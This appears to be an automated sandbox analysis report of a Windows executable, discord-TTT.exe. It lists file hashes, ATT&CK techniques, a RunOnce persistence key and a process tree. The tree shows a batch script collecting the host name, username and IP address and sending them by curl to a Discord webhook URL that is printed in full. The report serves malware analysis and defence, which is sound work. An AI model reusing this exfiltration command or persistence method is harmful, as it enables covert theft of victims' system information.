a84e2b1012bbfdbcc247a580e858cb7f04bfe86f9e727a84ccfee64e45f3c109

Analysis

max time kernel
6s
max time network
5s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/08/2024, 22:08

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General

Target

discord-TTT.exe
Size

154KB
MD5

0e67157d1b3263729784e62105b4756f
SHA1

a7f1ddf004d293dd8d6fd880ae5583a52bac0635
SHA256

a84e2b1012bbfdbcc247a580e858cb7f04bfe86f9e727a84ccfee64e45f3c109
SHA512

b21c32e6a5639efb1d49cb4f76dba8d4b1444666ef93c41a170cfde90d3ff90b9c0a1dd7b19a3e411f6a19ee1ce7fee44bef2e07f621eb622776a01942913964
SSDEEP

3072:gahKyd2n31h5GWp1icKAArDZz4N9GhbkrNEk1CT:gahOdp0yN90QEd

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	discord-TTT.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	discord.com
5	discord.com

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3444 wrote to memory of 1448	3444	discord-TTT.exe	88
PID 3444 wrote to memory of 1448	3444	discord-TTT.exe	88
PID 1448 wrote to memory of 1396	1448	cmd.exe	90
PID 1448 wrote to memory of 1396	1448	cmd.exe	90
PID 1396 wrote to memory of 3056	1396	cmd.exe	91
PID 1396 wrote to memory of 3056	1396	cmd.exe	91
PID 1396 wrote to memory of 4468	1396	cmd.exe	92
PID 1396 wrote to memory of 4468	1396	cmd.exe	92
PID 1448 wrote to memory of 1288	1448	cmd.exe	94
PID 1448 wrote to memory of 1288	1448	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\discord-TTT.exe
"C:\Users\Admin\AppData\Local\Temp\discord-TTT.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "discord.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup SYMRKCCU | findstr /c:"Address:"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1396
  - - C:\Windows\system32\nslookup.exe
      nslookup SYMRKCCU
      4⤵
      PID:3056
  - - C:\Windows\system32\findstr.exe
      findstr /c:"Address:"
      4⤵
      PID:4468
- - C:\Windows\system32\curl.exe
    curl -H "Content-Type: application/json" -X POST -d "{\"content\":\"PC Name: SYMRKCCU\nUsername: Admin\nIP Address: 8.8.8.8\"}" https://discord.com/api/webhooks/1236334882985218179/S7WSzhe6PWIirNmvsPHgCd_PKDE3dcN4l17JQO6rEcKTlbbAPa8ThVvv4M-7SGstvOL5
    3⤵
    PID:1288

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4072,i,1828333185976713750,7918646547767660928,262144 --variations-seed-version --mojo-platform-channel-handle=4384 /prefetch:8
1⤵
PID:760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\discord.bat

Filesize
464B

MD5
7858122dd3a683d64029080d6c01f485

SHA1
a97547489baa110fd7e28884658a1e00bab845b3

SHA256
12f9a3a0baffd7aefd7e8943f3b08744bbe60e63806569da5772d2613605aa50

SHA512
a93a74ac945e1d8de6f6c3c09c8dee2236af1d36b132153a4c4492f98f38421cca18263c6f03f92c952b437589a770705f63c92dcce6c6636f5a6f876e3d6b84

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads